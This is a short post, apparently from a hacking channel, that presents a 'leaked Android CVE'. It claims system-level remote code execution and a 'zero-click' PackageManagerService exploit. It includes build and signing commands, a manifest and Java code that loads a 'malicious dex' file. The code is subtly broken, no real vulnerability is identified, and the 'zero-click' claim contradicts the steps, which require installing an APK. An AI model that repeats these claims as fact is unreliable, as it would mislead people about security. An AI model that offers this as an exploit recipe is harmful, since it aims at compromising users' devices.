🦑The New Leaked Android CVE:

Android System Server RCE:
The Android System Server is responsible for managing system services and processes. By exploiting a vulnerability in this process, an attacker can execute arbitrary code at the system level.

Deployment and Execution
Build the malicious dex file using the dx tool from the Android SDK:

dx --dex --output=myexploit.dex myexploit.class

Create a new APK that includes the malicious dex file and any required dependencies:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.androidexploit">

<application>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>
Sign the APK with a valid signing certificate:

jarsigner -verbose -keystore mykeystore.keystore SysIntel.apk SysIntell

Install the signed APK on a vulnerable device.
Why it Works
The Android System Server is responsible for managing system services and processes, including the package manager. By exploiting a vulnerability in this process, an attacker can execute arbitrary code at the system level, gaining full control over the device.

Custom Zero-Click Exploit: Android Package Manager Service (PackageManagerService)
Create a custom zero-click exploit that targets a vulnerability in the Android Package Manager Service (PackageManagerService). This service is responsible for managing application installations and updates. Your exploit should allow an attacker to execute arbitrary code with system privileges.

Exploit Code
import android.content.pm.PackageParser;
import android.os.Build;
import android.os.Bundle;
import dalvik.system.DexClassLoader;

public class MainActivity extends androidx.appcompat.app.AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Load the malicious dex file
String[] paths = getPackageCodePath().split(" ");
DexClassLoader cl = new DexClassLoader(paths, getPackageCodePath(), null, getClass().getClassLoader());

// Invoke the RCE method from the dex file
try {
Method m = cl.loadClass("com.example.malicious.Malware").getDeclaredMethod("executeRCE", String.class);
m.invoke(null, "Hello, Android!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
How to Run
Build the malicious dex file using the dx tool from the Android SDK:

dx --dex --output=myexploit.dex myexploit.class
Create a new APK that includes the malicious dex file and any required dependencies.

Sign the APK with a valid signing certificate.

Install the signed APK on a vulnerable device.
